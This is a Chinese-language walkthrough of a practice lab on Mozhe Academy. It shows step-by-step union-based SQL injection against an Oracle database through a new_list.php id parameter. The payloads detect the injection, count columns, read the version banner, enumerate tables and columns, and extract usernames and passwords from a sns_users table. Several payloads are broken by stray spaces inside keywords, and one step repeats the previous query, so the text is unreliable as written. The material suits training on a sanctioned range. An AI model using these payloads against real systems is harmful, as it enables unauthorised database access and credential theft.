此次靶场地址为:墨者学院
一.跟其他数据库⼀样,检测注⼊点都是可以通过拼接and语句进⾏判断。这⾥通过and 1=1 和and 1=2进⾏判断。
new_list.php?id=1 and 1=1
new_list.php?id=1 and 1=2
二.通过order by来判断字段数。因为order by 2⻚⾯正常,order by 3⻚⾯不正常,故判断 当前字段数为2
new_list.php?id=1 order by 2
页面正常
new_list.php?id=1 order by 3
页面不正常说明当前字段为二
三.联合注入爆出回显点
new_list.php?id=-1 union select 'null','null' from dual
四.查询数据库版本信息..
new_list.php?id=-1 union select 'null',(select b anner from sys.v_$version where rownum=1) from dual
五.查询数据库表名,查询表名⼀般查询admin或者user表
第一张表
new_list.php?id=-1 union select 'null',(select table_name from user_tables where rownum=1) from dual
第二张表
new_list.php?id=-1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$') from dual
第三张表
new_list.php?id=-1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$' and table_nam e not in 'LOGMNR_GLOBAL$') from dual
模糊搜索,获取表名
new_list.php?id=-1 union select 'null',(select table_name from user_tables where table_name like '%user%' and rownum=1) from dual
六.查询数据库列名...
第一个数据库列名
new_list.php?id=-1 union select 'null',(select column_name from user_tab_co lumns where table_name='sns_users' and rownum=1) from dual
第二个数据库列名
new_list.php?id=-1 union select 'null',(select column_name from user_tab_co lumns where rownum=1 and column_name not in 'USER_NAME') from dual
第三个数据库列名
new_list.php?id=-1 union select 'null',(select column_name from user_tab_co lumns where rownum=1 and column_name not in 'USER_NAME') from dual
第四个数据库列名 没有了,说明就只有3个
new_list.php?id=-1 union select 'null',(select column_name from user_tab_co lumns where rownum=1 and column_name not in 'USER_NAME' and column_name not in 'AGENT_NAME') from dual
七.查询数据库数据获取账号密码的字段内容...
new_list.php?id=-1 union select USER_NAME,USER_PWD from "sns_users" where r ownum=1
new_list.php?id=-1 union select USER_NAME,USER_PWD from "sns_users" where r ownum=1 and USER_NAME <> 'zhong'
new_list.php?id=-1 union select USER_NAME,USER_PWD from "sns_users" where r ownum=1 and USER_NAME <> 'zhong' and USER_NAME not in 'hu'